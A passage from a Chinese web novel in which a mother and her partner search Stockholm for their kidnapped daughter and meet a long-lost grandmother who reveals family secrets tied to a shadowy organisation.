顾彦廷自顾自地继续说道,“你知道吗?圣樱高中的那段经历,是我人生中最灰暗的时刻。那时候,所有人都恨不得离我远远的,每个人都想在我头上踩一脚。”
“只有你,”他低头看她,“只有你问我饿不饿,只有你不在乎我是谁。你明明怕得要死,却敢挡在我面前,把那些欺负我的人全都赶走。”
“从那一刻起,我就对自己说,从今往后,只有你,可以把我的命拿走。”
“我欠你的,这辈子,下辈子,我都还不清。”
江晚絮的眼泪顺着脸颊轻轻滑落。
她有很长一段时间,都不记得他。
不记得他的名字,不记得他的脸,不记得他曾和她一起回家。
也不记得年少时那一点点冲动。
可是最后,当所有人都抛弃她的时候,是他拉了她一把,将她捧上云端,给她真正的爱和自由。
“睡吧。”
顾彦廷轻拍着她的后背,“等你醒了,我们就到了。到时候,我们一起接安安回家。”
“好。”
江晚絮应了一声,终于安心地睡着。
梦里,她却并不怎么安稳。
她梦见了一片火海。
她看见安安站在火海中央,哭着喊妈妈。
“安安!”
江晚絮想要冲过去,却发现自己的腿断了。
她没了办法,只能趴在地上,一点一点地往前爬。
“安安别怕……妈妈来了。不要怕,乖……”
就在她的手即将碰到安安的时候,一只烧焦的大手突然从火里伸出来,一把抓住了安安的脚踝,把她拖进了深渊。
“不要!!!”
江晚絮大喊着坐起,浑身被冷汗浸透。
“怎么了?做噩梦了?”
顾彦廷立刻握住她的手,拿纸巾给她擦汗。
江晚絮大口大口地喘着气,眼神有些涣散。
顾彦廷不放心,刚要再问,广播正好响起。
“女士们,先生们,我们的飞机即将降落在斯德哥尔摩阿兰达机场……”
第281章 你脑子有坑
顾彦廷和江晚絮到达阿兰机场时,已经是当地时间晚上十点半。
“晚晚!”
熟悉的声音在接机口响起。
江晚絮僵硬地抬头看过去,就看到许甜裹着一件长风衣冲着自己挥手。
站在她身旁的,是高大帅气的马克。
“姐姐……”
江晚絮张了张嘴。
许甜快步迎过来抱住了她。
顾彦廷对着许甜微微颔首,“麻烦你了。”
“一家人,不说这个。”
许甜看了顾彦廷一眼,眼神有些复杂,但终究什么也没说,转身带路。
一行人上了车。
马克负责开车,许甜坐在副驾驶,顾彦廷和江晚絮坐在后座。
“晚晚,”许甜转头,拿着手机,犹豫了一会儿开口道,“刚才在机场人太多不方便。在你们来之前,马克的一个黑客朋友,搞到了一段机场外围的监控视频。”
江晚絮立刻抬头,满眼期待,“是安安吗?”
许甜抿了抿唇,把手机递了过来,“你自己看。”
江晚絮把手机接过来,点开视频。
屏幕上一段距离很远的监控画面,有些模糊。
时间显示是七个小时前。
一个全身黑衣的男人,戴着墨镜口罩和鸭舌帽从航站楼走了出来。
他怀里抱着一个孩子。
那孩子剧烈地挣扎着,小手在空中胡乱挥舞,隔着屏幕,都能听到撕心裂肺的哭喊声。
“安安……”
江晚絮的眼泪瞬间就涌了出来,“她哭了……她在喊妈妈……”
视频只有短短的二十秒。
男人似乎被安安哭得烦了。
他用一只戴着黑色皮套的左手,按住安安的后脑勺,把她的脸压在了自己的肩膀上。
安安的声音一下子就小了。
“我们查过了,”许甜的声音有些发涩,“机场的安保说,那孩子哭得很厉害,很多人都注意到了。那个男人解释说孩子生病了所以才哭。”
“他们没拦吗?”江晚絮红着眼吼道,“孩子哭成那样,他们就让他走了?!”
“拦了。”
许甜叹了口气,“安保甚至还拿了一颗糖给安安,想哄哄安安。安安吃了糖,稍微安静了一点,那个男人就趁这个机会,抱着她上了一辆出租车离开了。”
这一刻,江晚絮只觉得心里一揪一揪地疼。
她的女儿,在她看不见的地方,被人这样粗暴对待……
江晚絮突然捂住胸口,干呕了一声。
顾彦廷手掌不停地抚摸着她的后背,“没事了,没事了……既然有了视频,那就一定能找到。晚晚,别折磨自己。”
江晚絮抓着顾彦廷的衣角,“顾彦廷,我好恨……都怪我,都怪我……”
“闭嘴。”
顾彦廷低头哄她,“这不怪你。”
车子在夜色中疾驰,最终停在了一栋白色的房子前。
“这是我一个朋友的房子,他去度假了,这里很安全。”
许甜打开门,回头看了看脸色苍白的江晚絮,“好好休息。”
江晚絮木然地跟着她走进去,然后就坐在沙发上,眼神空洞。
“我不累。”
“你不累?”顾彦廷都气笑了。
他直接走过去把人抱起来,“你还要不要命了?飞机上怎么说的?”
“顾彦廷你放我下来!”
“不放。”
顾彦廷抱着她走进卧室,将她放坐在床上,然后蹲了下来。
“江晚絮,你给我听好了——”
他盯着她的眼睛,一字一顿地道,“你这样不吃不喝就能找到安安了?你要是垮了,谁来照顾安安?”
江晚絮的眼泪又流了出来。
“可是我一闭眼,就……”
顾彦廷低头,吻了吻她的眼角。
“我守着你,”他轻声哄她,“有任何线索,我就叫醒你,好不好?”
江晚絮终于不再挣扎,缩了缩身子,闭上了眼睛。
这一夜对江晚絮来说,有些漫长。
天刚亮的时候,她就醒了。
顾彦廷第一时间就察觉到了她的动静,“醒了?”
“嗯。”
江晚絮坐起来,掀开被子就要下床,“有消息了吗?”
顾彦廷摇头,“还没有。马克的朋友还在查那个出租车,还需要点时间。”
“我出去找,”江晚絮穿上鞋,动作急切,“我不能在这儿干等着。”
“先吃早饭,”顾彦廷拉着她走到餐厅,把她按在椅子上,“吃完再出门。”
江晚絮没拒绝。
国外的饮食很简单,江晚絮只用了十分钟就吃完了。
十五分钟后,许甜和马克也出来了。
“刚才我联系了
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瑞典这边的朋友,还有大使馆。”顾彦廷条理清晰安排着,“我和马克一起去大使馆跑一趟,了解一下这边的报警流程。这种事,还是要官方介入才行。”
许甜点点头,“那我陪晚晚等消息。”
“不行,”江晚絮摇头,“我也要去。”
“晚晚,”顾彦廷有些无奈,忍不住就吐槽了起江晚絮,“你怎么做到每次遇到事儿,脑子里都会出现那么一两个坑的?”
一旁的许甜听到这句话,“噗嗤”一声就笑了出来。
顾彦廷瞪了她一眼。
“抱歉,”许甜瞬间一本正经,“咳咳!嗯,晚晚,你要冷静点,我们就等消息吧。”
江晚絮也明白了顾彦廷话语里的无奈,涨红着脸小声说了句“对不起”。
“晚晚,不如这样吧。”
顾彦廷到底还是不忍心让她干坐着,想了想说,“你和姐姐去出租车**点或者出租车公司碰碰运气,看能不能找到那辆车。”
江晚絮沉默了两秒,点头,“好。”
四人开始分头行动。
许甜开着朋友留下的车,载着江晚絮去往第一个出租车**点。
“你好,请问你们有谁见过这个人吗?”
“没有。”
“Sorry,没印象。”
一次又一次的询问,换来的只有一次又一次的失望。
江晚絮拿着手机及图,见人就问。
那个烧伤男实在是特征很明显,可奇怪的是,他就像是人间蒸发了一样,问了四五家公司,竟然没有任何人见过。
“难道是黑车?”许甜皱眉。
“再去下一家,”江晚絮不甘心。
天渐渐黑了下来。
顾彦廷那边发来消息。
大使馆那边很重视这件事,正在协调瑞典警方介入,但警力不足,需要时间。
“晚晚,先吃点东西吧。”许甜将车停靠在路边,“前面有家便利店,我去买个三明治。”
江晚絮没有拒绝,但她实在心里憋闷,推开车门走下来,“我去透透气。”
她慢悠悠地走在街头,看到有牵着孩子散步的父母,眼睛又酸涩起来。
“啊!”
一个穿着黄色制服的中年女人迎面走来,江晚絮心神恍惚没有注意到,两人撞了个满怀。
女人手里的咖啡,就这样溅了出来。
第282章 神秘老太
滚烫的咖啡泼洒出来,溅了中年女人一身,也溅到了江晚絮的手背上。
“Ohmygod!”女人惊呼一声,连忙拍打着衣服。
江晚絮回过神,慌乱地用英文道歉,伸手想要帮那个女人擦拭,“对不起,我不是故意的,真的对不起……”
她手忙脚乱地从包里掏纸巾,动作间,手机屏幕亮了起来。
屏幕壁纸,正是安安的照片。
那个中年女人本来有些恼火,正准备抱怨几句,目光无意间扫过江晚絮的手机屏幕,整个人突然愣了一下。
“Wait...”
女人的目光定格在手机屏幕上,又看了看神情憔悴的江晚絮。
江晚絮并没有注意到女人的异样,她还在不停地道歉,“这件衣服多少钱?我赔给您,真的很抱歉……”
“No,noneed.”
女人摆摆手,深深地看了江晚絮一眼,似乎欲言又止。但最终,她什么也没说,只是摇摇头,转身走进了旁边的一家出租车调度站点。
江晚絮看着她的背影,心里有些过意不去,但更多的还是找不到女儿的焦虑。
许甜买了三明治回来,看到这一幕,问道,“怎么了?”
“没事,撞到了一个人。”江晚絮疲惫地摇摇头,“姐,我们去地铁站看看吧?万一他是坐地铁走的呢?”
许甜叹了口气,“好,试试吧。”
两人正准备上车离开。
就在这时,身后突然传来喊叫声。
“Hey!Wait!Stop!”
江晚絮下意识地回头。
只见刚才那个被泼了一身咖啡的女司机,气喘吁吁地从调度站里追了出来。
“You!”
女司机指着江晚絮,快步跑到她们车前,眼神里带着一丝急切,用英语询问,“你是不是在找你的女儿?”
江晚絮立刻回过神来,焦急询问,“是!我女儿不见了,您见过她吗?”
女司机喘了口气,点了点头。
“我觉得我没看错。”
女司机指了指江晚絮的手机,“刚才我看你屏保上的那个小女孩,很眼熟。我回到公司,听同事说有两个亚洲女人在到处找孩子,我就猜是不是你们。”
“那是我的女儿!她在哪里?求求你告诉我!”江晚絮的声音都在发抖。
女司机回忆道,“大概早上五点左右,我在机场接了一个客人。是个男人,戴着墨镜和帽子,他怀里抱着一个孩子。”
“那个孩子哭了一路。”
女司机皱起眉头,继续说,“从上车开始那小女孩就在哭,那个男人一直哄,可是没用。后来那孩子的嗓子都哭哑了,听得我都心疼。”
哭哑了……
江晚絮的心口再次揪了起来。
“他去哪了?”
许甜冲过来,冷静地问道,“请告诉我们地址,这非常重要。”
女司机想了想,报出了一个地名。
“Fj?0?1llgatan.”
“峡湾街?”
许甜迅速在手机地图上搜索,“那是斯德哥尔摩的一个观景台附近,那边大多是老式的木质建筑,很偏僻。”
女司机点头,“他就在那附近下的车。那里住的人不多,这个时候游客也很少。”
“谢谢你!”
江晚絮激动得语无伦次,直接从包里掏出一叠欧元,也不数多少,一股脑塞进女司机手里,“这是给您的感谢费!谢谢!”
说完,她拉着许甜就往车上冲。
“快!去峡湾街!”
从市区到峡湾街,平时需要半个小时。
一路上,江晚絮紧紧抓着安全带,整个人既害怕又兴奋。
“会没事的。”
许甜腾出一只手,用力握了握她的手,“安安一定还在那里。”
车子盘旋而上,周围的景色逐渐变得开阔,却也更加荒凉。
这一片保留着很多18世纪的木屋,红色的、黄色的,错落有致地分布在山崖边。
这里可以俯瞰整个斯德哥尔摩港口,风景极佳,但此刻在江晚絮眼里,这里却透着一股森森的鬼气。
“那个女司机说是哪一栋?”许甜放慢了车速,目光如鹰隼般扫视着路边的建筑。
“她说是在……尽头。那一排红房子后面,有一栋很不一样的房子。”江晚絮回忆着女司机的话,“她说那房子有点像……东方的风格。”
东方的风格?
在瑞典这种北欧国家,出现一栋东方风格的建筑,确实很扎眼。
“在那儿!”
江晚絮突然指着前方大喊一声。
果然
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,在道路的尽头,在那一片色彩明艳的北欧木屋之后,孤零零地立着一栋两层小楼。
那房子有些年头了,墙体是灰白色的,屋檐有些微微上翘,虽然不是纯正的中式建筑,但在这一片欧式尖顶房中,还是显得有些格格不入。
房子四周种满了高大的松树,几乎将整个院子遮挡得严严实实。
“就是这儿。”
许甜把车停在离房子五十米远的地方,熄了火。
“别冲动。”
她按住想要立刻下车的江晚絮,“咱们不知道他们还有没有同伙,我先给马克打电话。”
不到十五分钟,顾彦廷和马克就赶来了。
“我去敲门。”许甜主动请缨,“我是生面孔,而且我是女人,警戒心会低一些。”
“不行,太危险了。”马克立刻反对,“我去。”
顾彦廷眯起眼睛,“我去吧。我是安安的父亲,不管里面是谁,这一面迟早要见。”
“我也去。”
江晚絮站到顾彦廷身边,眼神异常坚定,“我是她妈妈。如果安安在里面,她听到我的声音就不怕了。”
顾彦廷看着她,良久,点了点头。
“跟在我身后。如果有什么不对,立刻跑。”
两人一步步走向那栋房子。
房子的大门紧闭着,窗帘也都拉得严严实实,看不到里面的一丝光亮。
走到门口。
顾彦廷抬起手,重重地敲响了房门。
“咚、咚、咚。”
沉闷的声音在空旷的街道上回荡。
没有人应,也没有任何声音。
江晚絮的心跳到了嗓子眼,她紧紧抓着顾彦廷的衣角,呼吸都快停止了。
顾彦廷再次敲门,这次力道更大。
“开门!”
依然没有任何声音。
就在顾彦廷后退两步,准备直接把门撞开的时候,门内突然传来了一阵轻微的脚步声。
“哒、哒、哒。”
很慢,很沉。
随后是门锁转动的声音。
“咔哒。”
门开了。
江晚絮屏住呼吸,紧盯着那条门缝。
一个头发花白、穿着一身墨绿色丝绒旗袍的老太太站在门后。
老太太看起来至少有七十岁了,脸上布满了皱纹,但看上去既精明又诡异。
第283章 我姓陈
站在门后的老太太,一身墨绿色的丝绒旗袍,在昏黄的灯光下泛着幽幽的光泽。
如果不看周围的北欧建筑,江晚絮简直以为自己穿越回了民国时期的上海滩。
“既然来了,就进来喝杯茶吧。”
老太太的声音有些沙哑,说也是流利的中文。
她侧过身,让出了一条道,那姿态,优雅得像是在邀请邻居来打麻将。
江晚絮的手心全是冷汗。
她下意识地看向顾彦廷。
顾彦廷也正看着她。
两人的视线在空中交汇了一秒。
顾彦廷转过身,看向身后几米外正一脸焦急的许甜和马克。
“一小时。”
顾彦廷抬起手腕,指了指自己的腕表,“如果我们进去一个小时后,依然没有任何消息传出来,直接联系大使馆。”
许甜点点头:“好。”
顾彦廷没说话,牵住了江晚絮的手。
江晚絮深吸一口气,和顾彦廷一起,跟在老太太身后走了进去。
江晚絮本以为屋里会像外面一样阴森,或者像恐怖片里那样摆满了奇怪的刑具。
毕竟作为一个虐文女主,这种时候,百分之八十会出现这个场景。
【但辰辰最怕这种诡异氛围,所以……我们还是换一个氛围吧】
房间里弥漫着一股淡淡的檀香味道,混合着老式唱片机里流淌出来的《夜上海》,竟然透着一种说不出的……温馨?
一楼的客厅是完完全全的中式装修。
太师椅,**架,青花瓷瓶,墙上还挂着的水墨山水画,甚至连角落里的那盏落地灯,灯罩都是手绘的仕女图。
“随便坐,别客气。”
老太太慢悠悠地走到茶几旁坐下。
可江晚絮哪里坐得住?
她的视线在客厅里扫了一圈,试图寻找哪怕一丝一毫关于安安的踪迹。
窗下有一架钢琴,琴盖上立着一个相框。
因为距离有点远,再加上是逆光,她看不清照片上的人脸。
但那种感觉……她不好形容,但就是有些莫名的熟悉。
“那是……”
江晚絮忍不住往前走了一步。
顾彦廷却一把拉住了她,将她护在身后,低声道,“别乱动。”
老太太似乎没看到他们的小动作,自顾自地开始摆弄茶具。
紫砂壶里的水开了,咕噜噜地冒着热气。
“顾先生,江小姐,这可是明前的龙井,在瑞典这地界儿,有钱都喝不到。”
老太太抬起头,眼睛里含着一丝笑意,“坐下尝尝?”
江晚絮急得眼眶通红,“老人家,我不想喝茶,我只想知道,我女儿是不是在这里?求求您,如果您见过她,请告诉我……”
她说着就要下跪。
这几天的折磨,已经让她濒临崩溃的边缘了。
只要能救安安,别说是下跪,就是要她的命,她也会毫不犹豫地给。
膝盖刚弯下去,就被顾彦廷托住了。
他脸色铁青地把她拎了起来,按在身边的沙发上。
“江晚絮,你给我有点出息!”
他在她耳边咬牙切齿,“你就不能长点脑子吗?怪不得读者都骂你活该。”
江晚絮抓着他的袖子,嘴唇有些颤抖,“顾彦廷,我……”
看着她这副卑微的样子,顾彦廷心底突然就有那么一丢丢的、不怎么明显的、真的就是微微的小后悔。
顾彦廷深吸一口气,强压下心头的暴躁。
他转过头,看向烫洗茶杯的老太太。
“老人家,明人不说暗话。”
顾彦廷开门见山,“那辆出租车停在了这附近,监控我们也看了。您既然开了门让我们进来,就说明您知道我们在找谁。”
他说着,从怀里掏出一张支票,拍在茶几上。
“如果您是求财,这张支票,随便您填。”
“如果是受人所托,”顾彦廷眼神一冷,语气瞬间变得冷厉,“那我奉劝您一句,顾家在欧洲虽然没多大权势,但我愿意倾尽所有,
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去找我的女儿。”
老太太像是没听出他话里的威胁一样,淡定地提起紫砂壶,将茶水注入两个小巧的瓷杯中。
她将两杯茶轻轻推到他们面前,语气平淡,“到了我这个岁数,钱对我来说一点意思也没有。至于威胁……”
她轻笑了一声,抬眼看向顾彦廷,“我要是怕死,就不会住在这儿了。”
软硬不吃?
顾彦廷的眉头紧紧锁了起来。
时间一分一秒的过去。
墙上的挂钟发出“滴答、滴答”的声响,江晚絮如坐针毡。
她几次想站起来冲进里屋去搜,都被顾彦廷的眼神制止了。
顾彦廷虽然看起来镇定,但他的手心也已经冒了汗。
这是他极其焦虑的表现。
但他必须稳住。
“喝茶。”
顾彦廷端起茶杯,递到江晚絮嘴边,“润润嗓子。”
江晚絮偏过头,“我不喝。”
“江晚絮。”
顾彦廷的声音沉了下来,“你……别让我人设崩塌。”
江晚絮咬了咬唇,就着他的手喝了一口。
看到江晚絮喝了茶,一直没说话的老太太,眼神里竟然闪过一丝……欣慰?
顾彦廷捕捉到了这个眼神。
他想不明白。
“老人家。”
江晚絮终于平静了一些,她放下茶杯,双手交握在一起,尽量让自己冷静一点,“您到底是谁?如果您不是绑匪,能不能请您告诉我,那个带孩子的男人是谁?”
老太太放下了手里的茶壶,看着江晚絮,说了一句毫不相干的话。
“我姓陈。”
江晚絮愣了一下。
姓陈?
那又怎么样?
这天下姓陈的人多了去了。
“陈……”
江晚絮茫然的摇摇头,“陈奶奶,我不认识您……”
可顾彦廷听到这个姓氏,再联想到这个屋子里的陈设,以及老太太那非凡的气度时,脑海中突然闪过一个不可思议的念头……
第284章 障眼法
看着老太太浅笑的模样,顾彦廷更加印证了自己的猜想。
他试探着开口询问,“您和方颖……是什么关系?”
老太太没有说话。
这在顾彦廷眼里,就是默认的意思。
他咽了咽口水,侧头看向江晚絮。
江晚絮愣愣地回看他。
她也许已经想到了,只是不敢也不愿承认罢了。
顾彦廷叹了口气,回过头来,问出了自己的猜测,“您是不是陈曦?”
这两个字一出来,江晚絮瞬间就觉得自己的脑子有些不够用了。
“你……你在说什么?”江晚絮站了起来,“顾彦廷,你为什么这样问?”
老太太依然没有说话。
她缓缓站起身,看了看窗外明媚的阳光,然后走到窗边的钢琴边,拿起那个相框又走了回来。
这是一张看上去很有些年头的黑白照片。
照片里是一个年轻女人。
她穿着一件素雅的旗袍,烫着大波浪卷,眉眼弯弯,笑得温婉动人。
而她的怀里,抱着一个大概一岁多的小女孩。
“这……这是……”
看着那张照片,江晚絮的眼泪不由自主地就流了下来。
“这个小女孩,就是方颖。”
老太太说着说着,眼睛里就露出一丝温柔和悲伤。
她看着江晚絮,伸出手想要摸摸江晚絮的脸,却又有些迟疑,最终只是轻轻落在了她的头发上。
“晚晚,我是你的亲外婆。这些年……你受苦了。”
江晚絮只觉得自己的脑子有点不够用了。
亲外婆?
她想起了一年前,M姨跟她刚刚相认的时候得知的方颖身世。
“不……不可能……”
江晚絮拼命摇头。
“如果你是我外婆,为什么这三十年你从来没找过我?!”
她站起身,踉跄着往后退了两步,“我在江家被人打、被人骂、被人关在地下室里的时候,你在哪里?!”
“我被人抽血、被逼着抽骨髓的时候,你又在哪里?!”
“我妈死的时候,你在哪里?!现在你跟我说你是我外婆?!哈哈哈!你人呢?在哪里?!”
江晚絮的情绪彻底崩溃了。
她把相框紧紧抱在怀里,哭得浑身抽搐。
顾彦廷在一旁听着,心都要碎了。
他伸出手,将她揽进怀里,一边拍着她的后背安抚,一边拧眉问向陈曦。
“陈老,您是不是该给个完整的解释?当年,到底发生了什么?”
老太太站在那里,任由江晚絮发泄着。
“是外婆对不起你……”
老太太颤巍巍地坐到江晚絮身边的沙发上,伸出干枯的手,想要去拉江晚絮的手。
却在快要碰到时,顿了顿,又将手收了回来。
“孩子,你听我说。”
陈曦抹了一把眼泪,长叹了一口气。
“不是外婆不要你,也不是外婆不找你。是不敢找,不能找啊!”
“当年……”
陈曦的目光变得悠远。
她沉默了好一会儿,才断断续续地说出了当**情。
她结婚的第五年,陈曦家族里出了叛徒。
那些人偷偷联络上了‘涅墨西斯’,设计想要夺取晨曦家族的基因数据。
作为晨曦家族的基因传承者,陈曦被叛徒和涅墨西斯暗中监视。
当时,她的丈夫发现有人暗中跟踪自己刚刚怀孕的妻子,于是夫妻两人合计一番后,决定连夜赶回华国。
可那些人怎么可能就这么轻易放走她?
去往机场的路上,汽车毫不意外地出了事故,丈夫当场就没了呼吸。
陈曦抱着方颖离开现场,拦下了一辆同样去往机场的汽车,这才顺利搭上了前往华国的飞机。
但她没想到,那些人竟然追到了华国。
当时的她,带着两岁的女儿到处躲,直到那个下着暴雨的深夜……她把方颖托付给了方家。
“后来,我引开了追兵,九死一生逃到了瑞典,隐居在此。”
“这些年,我不敢联系,不敢打听,生怕一不小心就暴露了颖儿的行踪,给你们招来杀身之祸。”
陈曦说到这里,已是泣不成声。
“我以为,只要我不出现,你们就能平平安安过一辈子。可我没想到……”
“我可怜的颖儿……我可怜的晚晚……”
老太太再也控制不住,一把抱住了江晚絮。
江晚絮僵硬的身体,在听到这些往事后,终于慢慢软了下来。
“外婆……”
江晚絮再也绷不住,终于喊着抱住了她。
顾彦廷在一旁看着这一幕,眼眶也有些发酸。
良久
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,两人的情绪才稍微平复了一些。
老太太松开江晚絮,用手帕细细地给江晚絮擦着眼泪。
“好孩子,不哭了。”
陈曦摸了摸江晚絮的脸,脸色突然变得严肃起来。
她转头看了看顾彦廷,又看向江晚絮。
“晚晚,既然你找到了这里,有些事情,外婆必须告诉你。”
“这关乎到安安,也关乎到你为什么会遭受这么多苦难。”
提到安安,江晚絮的神经立刻又紧绷了起来。
“外婆,你知道安安在哪里对不对?那个男人是谁?他是绑匪吗?”
陈曦摇了摇头,又点了点头。
她的表情变得极其复杂,甚至带着一丝……恐惧?
“那个带走安安的男人,不是绑匪。”
陈曦深吸一口气,说出了一句让江晚絮和顾彦廷都震惊得差点跳起来的话。
“他是……你舅舅。”
“舅……舅舅?”
江晚絮觉得自己今天的脑容量已经完全不够用了。
怎么又冒出来一个反派舅舅?
还有完没完了!
“您还有一个儿子?”顾彦廷皱眉问道。
陈曦点了点头,眼神有些黯淡。
“他叫陈默。当年我准备回到华国的前一天晚上,他就失踪了。我一直以为他**,没想到……他被‘涅墨西斯’的人抓走了。”
“什么?!”
顾彦廷站了起来,“涅墨西斯不是覆灭了吗?!”
而且还是被他亲手给按死的。
“那安安……”江晚絮的脸瞬间惨白如纸。
“别怕。”
陈曦连忙按住她的手,“陈默虽然在那个组织里长大,但他并没有泯灭人性。他这次把安安带走,其实是……为了救她。”
“救她?”
江晚絮听糊涂了,“安安好好的,为什么要救她?”
陈曦看着江晚絮,眼神里闪过一丝不忍。
“晚晚,涅墨西斯辉煌了几百年,大大小小的事情经历了不知道多少次,怎么可能完全覆灭?”
“我知道你们给安安做了手术,可那些人觉得,这是你的障眼法。”
“所以……”
说到这里,陈曦顿了一下。
“所以他们才会**安安,”顾彦廷接过话头,“想要通过安安,来探寻基因数据……”
第285章 可能是陷阱
“所以我竟然还有一个亲舅舅。”江晚絮笑出了声,眼泪顺着脸颊往下淌,“奶奶,您知道吗?我有父亲,有三个哥哥,还有一个同卵双胞胎姐姐。”
“可我过的是什么日子呢?”
江晚絮指了指自己的腿,又指了指自己的心口。
“除了这个从小都没见过面的双胞胎姐姐,所有的家人……都没把我当人看。”
她看了一眼顾彦廷,眼神空洞,“妈妈在方家就有一个弟弟。可这个舅舅……”
她想起方文远,自嘲地笑了笑。
“虽然他对我的好,不完全是干净的,可……他已经**。”
“现在,您告诉我,我还有一个亲舅舅。”
“哈……为什么非要逮着我一个人折磨?为什么?”
江晚絮抱着头,呜呜地哭了起来。
“别说了。”
顾彦廷喉咙发紧,“晚晚,别说了。都过去了。”
“过不去!”江晚絮的声音闷闷的,“过不去的!”
陈曦老泪纵横。
“孩子,是外婆对不起你……如果你要恨,就恨外婆吧。”
陈曦擦了一把眼泪。
“关于你舅舅陈默……不是他不去找你们,是他自己,也身不由己。”
在顾彦廷冰冷的注视下,陈曦断断续续地讲起了那个被尘封的秘密。
“当年,陈默比颖儿大两岁。”
“我和你外公决定连夜逃离欧洲的时候,陈默就不见了。我们找疯了,可是那个时候,每多停留一分钟,颖儿被抓走的风险就大一分。”
陈曦闭上眼,回想着那个惨烈的夜晚。
当时,江晚絮的亲外公知道晨曦家族的基因缺陷和天赋,只会遗传给女性。那些人抓陈默,顶多是用作人质,但抓到方颖,那就是永无止境的实验小白鼠。
“所以……”
江晚絮从顾彦廷怀里探出头,“所以,你们放弃了舅舅?”
陈曦痛苦地点了点头。
“时间来不及了。你外公托付了一个最信任的朋友去找陈默,然后……然后我们就开车去了机场。”
“后来,在去往机场的路上,突然冲出了一个大货车,你外公当场身亡,我带着颖儿拼死逃回了国内。”
“那陈默呢?”顾彦廷冷声问道,“既然他没死,为什么这么多年不联系您?反而在这种时候,**安安?”
陈曦叹了口气,“我也是昨天才知道他还活着的。”
陈曦苦笑,“昨天半夜,他突然出现在这栋房子里。怀里抱着熟睡的安安。”
江晚絮激动起来,“她有没有事?有没有受伤?”
陈曦连忙摆手,“安安没事,只是睡着了。”
“他说他抱走安安,就是因为那些人想要策划一起**。”
“他先一步带走安安,也是冒着生命危险的。”
江晚絮听得心惊肉跳。
“他去哪了?”
“他没说。”陈曦摇摇头,“他在这里停留了不到十分钟。”
“涅墨西斯……”
顾彦廷咬着后槽牙,眼底杀意翻涌。
陈曦看着江晚絮,“晚晚,你舅舅虽然是在那个组织里长大的,但我看得出来,他没变坏。他看安安的眼神,是慈爱的。”
江晚絮的脑子已经乱成了一团浆糊。
一方面,是得知安安暂时安全的庆幸;另一方面,是对这个突然冒出来的“舅舅”的极度不信任。
一个在恐怖组织里长大的男人,真的会有亲情吗?
“那您是怎么知道我的事的?”江晚絮突然反应过来,“您刚才说,昨天之前,您甚至不知道我和我妈过得怎么样。”
陈曦眼神躲闪了一下,显得有些愧疚。
“陈默走后,我……我才敢上网去查。”
老太太说着,眼泪又下来了。
看着老太太无比后悔的模样,江晚絮心里的那一丝怨气,突然就散了。
她走过去,轻轻抱住了这个瘦小的老人。
“外婆……算了。”
她说,“都过去了。我现在不是挺好的吗?我有安安,还有……”
她看了一眼身旁的男人。
“还有顾彦廷。”
顾彦廷听伸出手,握住了江晚絮的手指。
“陈老。”
顾彦廷也不想打断祖孙俩的温情时刻,但
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现在不是哭的时候。
“既然陈默带走了安安是为了保护她,那他有没有留下什么线索?或者说,他下一步打算去哪里?”
陈曦擦干眼泪,从旗袍的袖口里,掏出了一张折叠得很整齐的纸条。
“这是陈默临走前塞给我的。”
她把纸条递给顾彦廷,“他说,如果晚晚找来,就把这个给你。”
顾彦廷接过纸条,展开。
纸条上只有简简单单的一行字,是用英文写的。
【PortofFrihamnen,Warehouse7.】
(自由港,7号仓库。)
“这什么意思?”江晚絮凑过去看。
顾彦廷眉头紧锁,盯着那个地址,“陈默既然是为了躲避追踪,就不可能这么轻易暴露行踪。这可能是一个交接点,也可能……是一个陷阱。”
“陷阱?”江晚絮的心又提了起来。
顾彦廷也说不好。
毕竟陈默销声匿迹的三十年,再出现时却绑走了亲妹妹的女儿。
他虽然愿意相信方颖有个亲哥哥,但这个突然出现在陈曦面前的男人,究竟是不是陈默,还是两说。
“还有一件事。”
顾彦廷突然想起了什么,“陈老,您认识谢承允吗?”
“谁?”
陈曦一脸茫然,“谢承允?没听说过。是你的朋友吗?”
顾彦廷和江晚絮对视一眼。
“不认识就算了。”顾彦廷并没有多解释。
就在这时,大门被人拍响。
“晚晚,顾彦廷!一个小时到了!”
是许甜。
“你们再不出来,我就报警了!我要把这破门给拆了!”
顾彦廷无奈地揉了揉眉心。
“看来,你的这位双胞胎姐姐,脾气不太好。”
江晚絮破涕为笑。
“她那是担心我。”
江晚絮站起身,整理了一下衣服,“外婆,姐姐还在外面,我得让她进来。她是许甜,也是方颖的女儿。”
陈曦愣了一下,随即激动地站起来。
“双胞胎……对,颖儿生的是双胞胎!快,快让她进来!”
第286章 分头行动
大门打开的时候,许甜正提着裙角准备往里冲,马克在后面“No!No!”地喊着准备拦她。
看到江晚絮出来,许甜立刻放下了裙角。
“江晚絮,你吓死我了!”
她冲上来,拉着江晚絮上下打量,“怎么样?没事吧?安安呢?”
江晚絮往侧面让了一下,“姐,她……是咱们的亲外婆。”
陈曦冲着许甜点了点头,露出了一个慈爱的微笑。
许甜却并不买账。
她把江晚絮拉到近前,低声说,“你是不是被骗了?”
“这就是我要跟你解释的。”
江晚絮把许甜拉进屋,又把刚才陈曦说的话,复述了一遍。
听完整个故事,许甜却并没有太大反应。
“所以,”许甜双臂抱胸,整个人都很冷静,“你有没有证据能证明你是方颖的亲生母亲?”
她这样一说,江晚絮也回过神来。
对啊,她怎么连问都没问就相信了?
她侧头看向顾彦廷,却见他轻咳了一声,耳垂通红。
显然,他也忘了。
陈曦看着这个同样漂亮,但气质却截然不同的外孙女,心里五味杂陈。
她先是拿出了一本相册,又将自己和M姨这些年写的信拿了出来,交给两人。
许甜看了半天,对陈曦的身份依然半信半疑。
“孩子,我知道你怪我……”
“我不怪你。”
许甜打断了她,“说实话,我对这一套苦情戏没什么感觉。我在意大利长大,我有爱我的养母,我从未觉得自己是被抛弃的。”
她转头看向江晚絮,“我只是替晚晚不值。”
许甜指着江晚絮,“同样是方颖的女儿,同样流着你们晨曦家族的血。我在罗马画画、喝咖啡、谈恋爱的时候,她在江家受罪。”
“你既然有能力躲到瑞典,住着这么好的房子,为什么就不能哪怕花一点点钱,去查查她的下落?”
“哪怕是尝试找到她、给她一些钱呢?”
许甜的声音很平静,但又很犀利。
陈曦张了张嘴,欲言又止,但到底什么也没说。
“行了。”
顾彦廷开口打断了两人的对话,“现在追究过去的责任没有任何意义。当务之急,还是要找到安安。”
他把那张写着地址的纸条放在桌上。
“自由港。”
马克凑过来看了一眼,“那个地方我很熟。那是斯德哥尔摩的老港区,集装箱很多。”
顾彦廷做出了决定,“那我们分头行动。”
他看向江晚絮,“晚晚,你和许甜,去大使馆。”
“不行!”
江晚絮想都没想就拒绝了,“我要去救安安!我要亲眼看到她!”
“江晚絮!”
